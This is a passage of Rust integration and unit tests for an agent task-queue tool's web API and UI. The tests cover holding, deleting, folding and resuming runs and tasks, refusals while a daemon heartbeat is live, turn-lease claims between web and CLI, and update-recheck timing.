20630 let res = fx
20634 .post(&format!("/api/queue/{}/hold", t.short()), None)
20635 .await;
20636 assert_eq!(res.status, 200);
20637 let held = res.json();
20638 assert_eq!(held["status_str"], "held");
20639 assert_eq!(held["blocked_by"], serde_json::json!([]));
20640 assert!(held["block_reason"].is_null());
20641 assert_eq!(held["answers"][0]["answer"], "SQLite");
20642 }
20643
20644 #[tokio::test]
20645 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20646 let fx = Fixture::start().await;
20647 let q = fx.queue();
20648 let mk = |title: &str| {
20649 Task::new(
20650 title.to_owned(),
20651 "Instruction".to_owned(),
20652 PathBuf::from("/repo"),
20653 Source::Human,
20654 )
20655 };
20656 let mut root = mk("root");
20657 root.hold_manual(Some("waiting".to_owned()));
20658 q.put(&mut root).unwrap();
20659 let mut mid = mk("mid");
20660 mid.block(vec![root.id.clone()], None);
20661 q.put(&mut mid).unwrap();
20662 let mut leaf = mk("leaf");
20663 leaf.block(vec![mid.id.clone()], None);
20664 q.put(&mut leaf).unwrap();
20665
20666 let list = fx.get("/api/queue").await.json();
20667 let find = |id: &str| {
20668 list.as_array()
20669 .unwrap()
20670 .iter()
20671 .find(|v| v["id"] == id)
20672 .unwrap()
20673 .clone()
20674 };
20675 let leaf_view = find(&leaf.id);
20676 assert_eq!(
20677 leaf_view["waits_on"],
20678 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20679 );
20680 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20681 assert_eq!(
20682 find(&mid.id)["waits_on"],
20683 serde_json::json!([format!("{} (held)", root.short())])
20684 );
20685 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20686 }
20687
20688 #[tokio::test]
20689 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20690 let fx = Fixture::start().await;
20691 let q = fx.queue();
20692
20693 let mut t1 = Task::new(
20695 "Task 1".to_owned(),
20696 "Instruction 1".to_owned(),
20697 PathBuf::from("/repo"),
20698 Source::Human,
20699 );
20700 let run_id = "20260901-000000-r111";
20701 t1.runs.push(run_id.to_owned());
20702 write_run(&fx.runs(), run_id, RunStatus::Merged);
20703 q.put(&mut t1).expect("put t1");
20704
20705 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20707 assert_eq!(res.status, 204);
20708 assert!(res.body.is_empty(), "204 No Content has no body");
20709 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20710 assert!(
20711 fx.runs().join(run_id).exists(),
20712 "run directory must not be deleted when its task is deleted"
20713 );
20714
20715 let mut t2 = Task::new(
20717 "Task 2".to_owned(),
20718 "Instruction 2".to_owned(),
20719 PathBuf::from("/repo"),
20720 Source::Human,
20721 );
20722 t2.status = TaskStatus::Running;
20723 q.put(&mut t2).expect("put t2");
20724 let mut beat = crate::daemon::Status::new();
20725 beat.current = vec![crate::daemon::Current {
20726 task: t2.id.clone(),
20727 run: "20260901-000000-r222".to_owned(),
20728 }];
20729 beat.updated_at = jiff::Timestamp::now();
20730 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20731 .expect("publish a heartbeat");
20732 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20733 assert_eq!(res.status, 409);
20734 assert!(
20735 res.json()["error"]
20736 .as_str()
20737 .unwrap()
20738 .contains("live daemon")
20739 );
20740 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20741
20742 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20748 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20749 .expect("leave a stale heartbeat");
20750 let mut t3 = Task::new(
20751 "Task 3".to_owned(),
20752 "Instruction 3".to_owned(),
20753 PathBuf::from("/repo"),
20754 Source::Human,
20755 );
20756 t3.status = TaskStatus::Running;
20757 q.put(&mut t3).expect("put t3");
20758 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20759 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20760 assert_eq!(res.status, 204);
20761 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20762 assert!(
20763 q.claim(&t3.id).is_ok(),
20764 "the stale lock went with it, so the id is claimable again"
20765 );
20766
20767 let res = fx.delete("/api/queue/nonexistent").await;
20769 assert_eq!(res.status, 404);
20770 }
20771
20772 #[tokio::test]
20773 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20774 let fx = Fixture::start().await;
20775 let runs = fx.runs();
20776
20777 let run_id = "20260901-000000-fold";
20779 let mut state = RunState::new(
20780 PathBuf::from("/repo"),
20781 "main".to_owned(),
20782 "abc".to_owned(),
20783 "instruction".to_owned(),
20784 Config::default(),
20785 );
20786 state.id = run_id.to_owned();
20787 state.status = RunStatus::Merged;
20788 state.candidates.push(crate::run::Candidate {
20789 index: 0,
20790 label: 'A',
20791 agent: "a".to_owned(),
20792 branch: "b".to_owned(),
20793 worktree: PathBuf::from("/w"),
20794 summary: String::new(),
20795 stat: String::new(),
20796 files: 1,
20797 commits: 1,
20798 empty: false,
20799 failed: None,
20800 verified_noop: None,
20801 duration_ms: 0,
20802 folded: true,
20803 });
20804 let dir = runs.join(run_id);
20805 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20806 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20807 .expect("write artifact");
20808 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20809 .expect("write run.json");
20810
20811 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20813 assert_eq!(res.status, 204);
20814 assert!(res.body.is_empty(), "204 has no body");
20815 assert!(!dir.exists(), "run directory and artifacts must be deleted");
20816
20817 let run_running = "20260901-000000-rung";
20822 write_run(&runs, run_running, RunStatus::Prep);
20823 let mut beat = crate::daemon::Status::new();
20824 beat.current = vec![crate::daemon::Current {
20825 task: "20260901-000000-task".to_owned(),
20826 run: run_running.to_owned(),
20827 }];
20828 beat.updated_at = jiff::Timestamp::now();
20829 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20830 .expect("publish a heartbeat");
20831 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20832 assert_eq!(res.status, 409);
20833 assert!(
20834 res.json()["error"]
20835 .as_str()
20836 .unwrap()
20837 .contains("live daemon"),
20838 "the refusal must say who is holding it"
20839 );
20840 assert!(
20841 runs.join(run_running).exists(),
20842 "a run in flight keeps its directory"
20843 );
20844
20845 let run_unfolded = "20260901-000000-unfd";
20847 let mut state2 = RunState::new(
20848 PathBuf::from("/repo"),
20849 "main".to_owned(),
20850 "abc".to_owned(),
20851 "instruction".to_owned(),
20852 Config::default(),
20853 );
20854 state2.id = run_unfolded.to_owned();
20855 state2.status = RunStatus::Ready;
20856 state2.candidates.push(crate::run::Candidate {
20857 index: 0,
20858 label: 'A',
20859 agent: "a".to_owned(),
20860 branch: "b".to_owned(),
20861 worktree: PathBuf::from("/w"),
20862 summary: String::new(),
20863 stat: String::new(),
20864 files: 1,
20865 commits: 1,
20866 empty: false,
20867 failed: None,
20868 verified_noop: None,
20869 duration_ms: 0,
20870 folded: false,
20871 });
20872 let dir2 = runs.join(run_unfolded);
20873 std::fs::create_dir_all(&dir2).expect("create dir2");
20874 std::fs::write(
20875 dir2.join("run.json"),
20876 serde_json::to_string(&state2).unwrap(),
20877 )
20878 .expect("write run.json");
20879
20880 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20881 assert_eq!(res.status, 409);
20882 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20883 assert!(dir2.exists(), "unfolded run directory is kept");
20884
20885 let res = fx.delete("/api/runs/nonexistent").await;
20887 assert_eq!(res.status, 404);
20888 }
20889
20890 #[test]
20899 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20900 let start = APP_JS
20901 .find("function renderStats() {")
20902 .expect("renderStats");
20903 let end = start
20904 + APP_JS[start..]
20905 .find("function statsTile(")
20906 .expect("the next top-level function");
20907 let body = &APP_JS[start..end];
20908
20909 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20910 let gate_end = gate_start
20911 + body[gate_start..]
20912 .find("}\n renderStatsQueue")
20913 .expect("the gate's own closing brace, right before the unconditional call");
20914 let gated = &body[gate_start..gate_end];
20915
20916 assert_eq!(
20917 body.matches("renderStatsQueue(").count(),
20918 1,
20919 "renderStats must call renderStatsQueue exactly once: {body}"
20920 );
20921 assert!(
20922 !gated.contains("renderStatsQueue"),
20923 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20924 run-derived panels on an empty run history - the queue panel has to render \
20925 regardless: {gated}"
20926 );
20927 }
20928
20929 #[test]
20930 fn web_ui_delete_contract_in_front_end() {
20931 assert!(APP_JS.contains("deleteRun:"));
20933 assert!(APP_JS.contains("deleteTask:"));
20934
20935 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20937 ..APP_JS.find("function renderRuns").unwrap()];
20938 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20939
20940 assert!(APP_JS.contains("renderRunDelete"));
20942 assert!(APP_JS.contains("runDeleteReason"));
20943 assert!(APP_JS.contains("magi fold"));
20944 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20945
20946 assert!(APP_JS.contains("cancel.focus"));
20948 assert!(APP_JS.contains("armedRunDelete"));
20949 assert!(APP_JS.contains("renderTaskDeleteBox"));
20950 assert!(APP_JS.contains("armed${cap(key)}"));
20951
20952 assert!(APP_JS.contains("disabled: status === \"running\""));
20954 }
20955
20956 #[test]
20976 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20977 let build = APP_JS
20978 .find("function createRunCard")
20979 .expect("createRunCard exists");
20980 let update = APP_JS
20981 .find("function updateRunCard")
20982 .expect("updateRunCard exists");
20983 let end = APP_JS
20984 .find("function renderRuns")
20985 .expect("renderRuns exists");
20986
20987 let builder = &APP_JS[build..update];
20989 let open = builder.find("refs = {").expect("createRunCard sets refs");
20990 let literal = &builder[open + "refs = {".len()..];
20991 let close = literal.find('}').expect("the refs literal is closed");
20992 let published: HashSet<&str> = literal[..close]
20993 .split(',')
20994 .filter_map(|entry| entry.split(':').next())
20996 .map(str::trim)
20997 .filter(|name| !name.is_empty())
20998 .collect();
20999 assert!(
21000 published.len() > 5,
21001 "the refs literal did not parse into names: {published:?}"
21002 );
21003
21004 let mut used: Vec<&str> = Vec::new();
21007 let updaters = &APP_JS[update..end];
21008 for (at, _) in updaters.match_indices("r.") {
21009 let before = updaters[..at].chars().next_back();
21012 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21013 continue;
21014 }
21015 let rest = &updaters[at + 2..];
21016 let len = rest
21017 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21018 .unwrap_or(rest.len());
21019 if len > 0 {
21020 used.push(&rest[..len]);
21021 }
21022 }
21023 assert!(
21024 used.len() > 5,
21025 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21026 );
21027
21028 let missing: Vec<&str> = used
21029 .iter()
21030 .copied()
21031 .filter(|name| !published.contains(name))
21032 .collect();
21033 assert!(
21034 missing.is_empty(),
21035 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21036 never put in `refs` - every card will throw and the list will \
21037 render empty under a count line that says otherwise. Published: \
21038 {published:?}"
21039 );
21040 }
21041
21042 #[tokio::test]
21043 async fn folding_from_the_phone_reports_what_it_removed() {
21044 let fx = Fixture::start().await;
21045 let runs = fx.runs();
21046
21047 let id = "20260901-000000-fold";
21051 write_run(&runs, id, RunStatus::Stalled);
21052 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21053 assert_eq!(res.status, 200);
21054 assert_eq!(res.json()["removed_count"], 0);
21055 assert_eq!(res.json()["run"], id);
21056 assert!(
21057 runs.join(id).exists(),
21058 "a fold keeps the run's record; only the worktrees go"
21059 );
21060 }
21061
21062 #[tokio::test]
21063 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21064 let fx = Fixture::start().await;
21065 let runs = fx.runs();
21066 let wt = fx.home.path().join("wt").join("magi").join("dead");
21067 let id = "20260901-000000-dead";
21068 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21069 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21070 std::fs::create_dir_all(&wt).expect("worktree dir");
21071
21072 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21073 assert_eq!(res.status, 200, "{}", res.body);
21074 assert!(
21075 res.json()["removed_count"].as_u64().unwrap() > 0,
21076 "the worktree this build could not read a state for still went"
21077 );
21078 assert!(
21079 !runs.join(id).exists(),
21080 "an unreadable run has no candidate list to fold selectively, so \
21081 the whole record goes - same as `magi fold` on the CLI"
21082 );
21083 }
21084
21085 #[tokio::test]
21086 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21087 let fx = Fixture::start().await;
21088 let runs = fx.runs();
21089 let wt = fx.home.path().join("wt").join("magi").join("gone");
21090 let id = "20260901-000000-gone";
21091 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21092 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21093 std::fs::create_dir_all(&wt).expect("worktree dir");
21094
21095 let res = fx.delete(&format!("/api/runs/{id}")).await;
21096 assert_eq!(res.status, 204, "{}", res.body);
21097 assert!(!runs.join(id).exists(), "the broken record is gone");
21098 assert!(!wt.exists(), "its worktree is gone too");
21099 }
21100
21101 #[tokio::test]
21102 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21103 let fx = Fixture::start().await;
21104 let runs = fx.runs();
21105 let id = "20260901-000000-live";
21106 write_run(&runs, id, RunStatus::Implementing);
21107
21108 let mut beat = crate::daemon::Status::new();
21109 beat.current = vec![crate::daemon::Current {
21110 task: "20260901-000000-task".to_owned(),
21111 run: id.to_owned(),
21112 }];
21113 beat.updated_at = jiff::Timestamp::now();
21114 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21115 .expect("publish a heartbeat");
21116
21117 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21118 assert_eq!(res.status, 409);
21119 assert!(
21120 res.json()["error"]
21121 .as_str()
21122 .unwrap()
21123 .contains("live daemon"),
21124 "folding under a running agent would pull its worktree away"
21125 );
21126 }
21127
21128 #[tokio::test]
21129 async fn fold_merged_requires_a_pr_url() {
21130 let fx = Fixture::start().await;
21131 let runs = fx.runs();
21132 let id = "20260901-000000-nourl";
21133 write_run(&runs, id, RunStatus::Blocked);
21134
21135 let res = fx
21136 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21137 .await;
21138 assert_eq!(res.status, 400, "{}", res.body);
21139
21140 let blank = fx
21141 .post(
21142 &format!("/api/runs/{id}/fold-merged"),
21143 Some(r#"{"pr_url":" "}"#),
21144 )
21145 .await;
21146 assert_eq!(blank.status, 400, "{}", blank.body);
21147 }
21148
21149 #[tokio::test]
21150 async fn fold_merged_is_404_for_an_unknown_run() {
21151 let fx = Fixture::start().await;
21152 let res = fx
21153 .post(
21154 "/api/runs/nosuchrun/fold-merged",
21155 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21156 )
21157 .await;
21158 assert_eq!(res.status, 404, "{}", res.body);
21159 }
21160
21161 #[tokio::test]
21162 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21163 let fx = Fixture::start().await;
21164 let runs = fx.runs();
21165 let id = "20260901-000000-livemerge";
21166 write_run(&runs, id, RunStatus::Blocked);
21167
21168 let mut beat = crate::daemon::Status::new();
21169 beat.current = vec![crate::daemon::Current {
21170 task: "20260901-000000-task".to_owned(),
21171 run: id.to_owned(),
21172 }];
21173 beat.updated_at = jiff::Timestamp::now();
21174 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21175 .expect("publish a heartbeat");
21176
21177 let res = fx
21178 .post(
21179 &format!("/api/runs/{id}/fold-merged"),
21180 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21181 )
21182 .await;
21183 assert_eq!(res.status, 409, "{}", res.body);
21184 assert!(
21185 res.json()["error"]
21186 .as_str()
21187 .unwrap()
21188 .contains("live daemon"),
21189 "correcting a run's merge underneath a running agent would race \
21190 whatever it is doing to the same `status`/`merge` fields"
21191 );
21192 }
21193
21194 #[tokio::test]
21199 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21200 let fx = Fixture::start().await;
21201 let runs = fx.runs();
21202 let id = "20260901-000000-unconfirmed";
21203 write_run(&runs, id, RunStatus::Blocked);
21204
21205 let res = fx
21206 .post(
21207 &format!("/api/runs/{id}/fold-merged"),
21208 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21209 )
21210 .await;
21211 assert_eq!(res.status, 400, "{}", res.body);
21212 assert_eq!(
21213 read_run(&runs, id).unwrap().status,
21214 RunStatus::Blocked,
21215 "a pull request that could not be confirmed merged must leave \
21216 the run exactly where it was"
21217 );
21218 }
21219
21220 #[tokio::test]
21221 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21222 let fx = Fixture::start().await;
21223 let runs = fx.runs();
21224
21225 for (status, word) in [
21231 (RunStatus::Merged, "merged"),
21232 (RunStatus::Ready, "ready"),
21233 (RunStatus::Failed, "failed"),
21234 ] {
21235 let id = format!("20260901-000000-{}", &word[..4]);
21236 write_run(&runs, &id, status);
21237 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21238 assert_eq!(res.status, 409, "{word} must not be resumable");
21239 let err = res.json()["error"].as_str().unwrap().to_owned();
21240 assert!(err.contains(word), "the refusal names the status: {err}");
21241 }
21242
21243 let mid = "20260901-000000-midf";
21248 write_run(&runs, mid, RunStatus::Reviewing);
21249 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21250 assert_eq!(res.status, 202, "an interrupted run is resumable");
21251 }
21252
21253 #[tokio::test]
21254 async fn resume_is_refused_while_the_loop_is_running() {
21255 let fx = Fixture::start().await;
21256 let runs = fx.runs();
21257 let stalled = "20260901-000000-stal";
21258 write_run(&runs, stalled, RunStatus::Stalled);
21259
21260 let mut beat = crate::daemon::Status::new();
21264 beat.current = vec![crate::daemon::Current {
21265 task: "20260901-000000-task".to_owned(),
21266 run: "20260901-000000-othr".to_owned(),
21267 }];
21268 beat.updated_at = jiff::Timestamp::now();
21269 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21270 .expect("publish a heartbeat");
21271
21272 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21273 assert_eq!(res.status, 409);
21274 let err = res.json()["error"].as_str().unwrap().to_owned();
21275 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21276 assert!(err.contains("stop it first"), "{err}");
21277 }
21278
21279 #[test]
21280 fn a_run_cannot_be_resumed_twice_at_once() {
21281 let home = TempDir::new().expect("temp home");
21282 let ui = Ui::new(
21283 Queue::at(home.path().join("queue")),
21284 Questions::at(home.path().join("questions")),
21285 Talks::at(home.path().join("talks")),
21286 home.path().join("runs"),
21287 home.path().to_path_buf(),
21288 PathBuf::from("/repo"),
21289 )
21290 .with_worktrees_root(home.path().join("wt"));
21291 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21292 let again = ui.begin_resume("20260901-000000-once");
21293 assert!(again.is_err(), "a second tap must not start a second graph");
21294 drop(first);
21295 assert!(
21296 ui.begin_resume("20260901-000000-once").is_ok(),
21297 "and the claim is released when the attempt ends"
21298 );
21299 }
21300
21301 #[test]
21302 fn talk_thinking_tracks_only_its_held_turn_claim() {
21303 let home = TempDir::new().expect("temp home");
21304 let ui = Ui::new(
21305 Queue::at(home.path().join("queue")),
21306 Questions::at(home.path().join("questions")),
21307 Talks::at(home.path().join("talks")),
21308 home.path().join("runs"),
21309 home.path().to_path_buf(),
21310 PathBuf::from("/repo"),
21311 )
21312 .with_worktrees_root(home.path().join("wt"));
21313 let id = "20260901-000000-once";
21314
21315 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21316 let turn = ui.begin_talk_turn(id).expect("claim turn");
21317 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21318 assert!(
21319 !ui.is_thinking("20260901-000000-other"),
21320 "one talk's turn does not make another talk busy"
21321 );
21322 drop(turn);
21323 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21324 }
21325
21326 #[test]
21327 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21328 let home = TempDir::new().expect("temp home");
21329 let talks = Talks::at(home.path().join("talks"));
21330 let ui = Ui::new(
21331 Queue::at(home.path().join("queue")),
21332 Questions::at(home.path().join("questions")),
21333 talks.clone(),
21334 home.path().join("runs"),
21335 home.path().to_path_buf(),
21336 PathBuf::from("/repo"),
21337 )
21338 .with_worktrees_root(home.path().join("wt"));
21339 let id = "20260901-000000-cross";
21340
21341 let other = Talks::at(home.path().join("talks"))
21342 .claim_turn(id)
21343 .expect("claim")
21344 .expect("the other process wins");
21345 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21346 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21347 assert!(
21348 matches!(
21349 ui.begin_talk_turn_unless_pending(id).expect("start"),
21350 TalkTurnStart::Foreign
21351 ),
21352 "a foreign holder is refused, not queued behind"
21353 );
21354 assert!(
21355 !ui.talk_turns.lock().unwrap().live.contains(id),
21356 "a refused claim leaves no in-process entry behind"
21357 );
21358 drop(other);
21359 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21360 assert!(talks.turn_held(id), "the web turn holds the lease");
21361 drop(turn);
21362 assert!(
21363 !talks.turn_held(id),
21364 "dropping the guard releases the lease"
21365 );
21366 }
21367
21368 fn consult_question(ui: &Ui) -> Question {
21369 let mut q = Question::new(
21370 "20260901-000000-consult".to_owned(),
21371 "implement".to_owned(),
21372 "impl-A".to_owned(),
21373 "Which backend?".to_owned(),
21374 String::new(),
21375 vec!["SQLite".to_owned(), "Redis".to_owned()],
21376 );
21377 ui.questions.put(&mut q).expect("question");
21378 q
21379 }
21380
21381 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21382 (
21383 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21384 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21385 )
21386 }
21387
21388 #[tokio::test]
21389 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21390 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21391 let q = consult_question(&ui);
21392 let talk = ui.talks.get(&id).expect("talk");
21393 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21394 let before = consult_snapshot(&ui, &q, &id);
21395 let cli_talks = Talks::at(ui.home.join("talks"));
21396 assert_eq!(
21397 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21398 .await
21399 .expect("CLI starter"),
21400 crate::consult::Started::Busy
21401 );
21402 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21403 assert!(ui.is_thinking(&id));
21404 drop(guard);
21405 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21406 }
21407
21408 #[tokio::test]
21409 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21410 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21411 let q = consult_question(&ui);
21412 let talk = ui.talks.get(&id).expect("talk");
21413 let started = tmp.path().join("started");
21414 let release = tmp.path().join("release");
21415 let script = tmp.path().join("consult-agent.sh");
21416 std::fs::write(
21417 &script,
21418 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21419 )
21420 .expect("script");
21421 let mut cfg = stub_config();
21422 cfg.agents[0].id = "mock".to_owned();
21423 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21424 cfg.agents[0].env = std::collections::BTreeMap::from([
21425 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21426 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21427 ]);
21428 let questions = ui.questions.clone();
21429 let cli_talks = Talks::at(ui.home.join("talks"));
21430 let cli_q = q.clone();
21431 let turn = tokio::spawn(async move {
21432 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21433 });
21434 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21435 while !started.exists() {
21436 tokio::time::sleep(Duration::from_millis(10)).await;
21437 }
21438 })
21439 .await;
21440 let refusal = if ready.is_ok() {
21443 let before = consult_snapshot(&ui, &q, &id);
21444 let result = talk_say(
21445 State(Arc::clone(&ui)),
21446 Path(id.clone()),
21447 Ok(Json(NewTalkTurn {
21448 reply_to: None,
21449 text: "another message".to_owned(),
21450 attachments: Vec::new(),
21451 })),
21452 )
21453 .await;
21454 Some((result, before, consult_snapshot(&ui, &q, &id)))
21455 } else {
21456 None
21457 };
21458 std::fs::write(&release, "").expect("release agent");
21459 let done = turn.await.expect("join CLI turn");
21460 ready.expect("agent started before deadline");
21461 let (result, before, after) = refusal.expect("web request");
21462 let error = result.expect_err("web must refuse the CLI's turn");
21463 assert_eq!(error.status, StatusCode::CONFLICT);
21464 assert!(error.message.contains("a turn is already running"));
21465 assert_eq!(
21466 after, before,
21467 "refusal preserves question, draft and history"
21468 );
21469 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21470 let guard = ui
21471 .begin_talk_turn(&id)
21472 .expect("web claim")
21473 .expect("free again");
21474 drop(guard);
21475 }
21476
21477 #[test]
21478 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21479 let home = TempDir::new().expect("temp home");
21480 let talks = Talks::at(home.path().join("talks"));
21481 let ui = Ui::new(
21482 Queue::at(home.path().join("queue")),
21483 Questions::at(home.path().join("questions")),
21484 talks.clone(),
21485 home.path().join("runs"),
21486 home.path().to_path_buf(),
21487 PathBuf::from("/repo"),
21488 )
21489 .with_worktrees_root(home.path().join("wt"));
21490 let id = "20260901-000000-order";
21491 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21492 let slots = ui.talk_turns.lock().unwrap();
21494 let dropper = std::thread::spawn(move || drop(turn));
21495 let start = std::time::Instant::now();
21496 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21497 std::thread::sleep(Duration::from_millis(5));
21498 }
21499 assert!(!talks.turn_held(id), "the lease is released first");
21500 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21501 drop(slots);
21502 dropper.join().expect("join");
21503 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21504 }
21505
21506 #[tokio::test]
21507 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21508 let fx = Fixture::start().await;
21509 let mut beat = crate::daemon::Status::new();
21513 beat.pid = 4321;
21514 beat.updated_at = jiff::Timestamp::now();
21515 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21516 .expect("publish a heartbeat");
21517
21518 let res = fx.post("/api/upgrade", None).await;
21519 assert_eq!(res.status, 409);
21520 let err = res.json()["error"].as_str().unwrap().to_owned();
21521 assert!(err.contains("4321"), "the refusal names the owner: {err}");
21522 assert!(err.contains("old one against the same queue"), "{err}");
21523 }
21524
21525 #[test]
21532 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21533 assert!(!should_spawn_recheck(&crate::config::Update {
21534 mode: UpdateMode::Off,
21535 interval: None,
21536 }));
21537
21538 unsafe {
21541 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21542 }
21543 let killed = should_spawn_recheck(&crate::config::Update {
21544 mode: UpdateMode::Notify,
21545 interval: None,
21546 });
21547 unsafe {
21548 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21549 }
21550 assert!(
21551 !killed,
21552 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21553 one-time startup check"
21554 );
21555
21556 assert!(should_spawn_recheck(&crate::config::Update {
21557 mode: UpdateMode::Notify,
21558 interval: None,
21559 }));
21560 }
21561
21562 #[test]
21568 fn recheck_poll_period_tracks_a_short_configured_interval() {
21569 let short = crate::config::Update {
21570 mode: UpdateMode::Notify,
21571 interval: Some("1m".to_owned()),
21572 };
21573 let period = recheck_poll_period(&short);
21574 assert!(
21575 period <= Duration::from_secs(30),
21576 "a one-minute interval must wake the task far sooner than the \
21577 default ceiling, or the deck would not notice within the \
21578 interval the operator configured: got {period:?}"
21579 );
21580
21581 let default = crate::config::Update {
21582 mode: UpdateMode::Notify,
21583 interval: None,
21584 };
21585 assert_eq!(
21586 recheck_poll_period(&default),
21587 UPDATE_RECHECK_POLL_MAX,
21588 "the default day-long interval should poll at the (capped) \
21589 ceiling rather than needlessly often"
21590 );
21591 }
21592
21593 #[test]
21601 fn recheck_skips_the_network_before_the_interval_elapses() {
21602 let dir = TempDir::new().expect("temp dir");
21603 let path = dir.path().join("state.json");
21604 let state = kaishin::UpdateCheckState {
21605 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21606 last_known_latest: None,
21607 last_known_url: None,
21608 };
21609 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21610
21611 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21612 assert!(
21613 !update_recheck_due(&checker, None),
21614 "a check made moments ago must not be repeated before the \
21615 configured interval elapses"
21616 );
21617 }
21618
21619 #[test]
21625 fn recheck_defers_to_an_upgrade_already_in_flight() {
21626 let dir = TempDir::new().expect("temp dir");
21627 let path = dir.path().join("state.json");
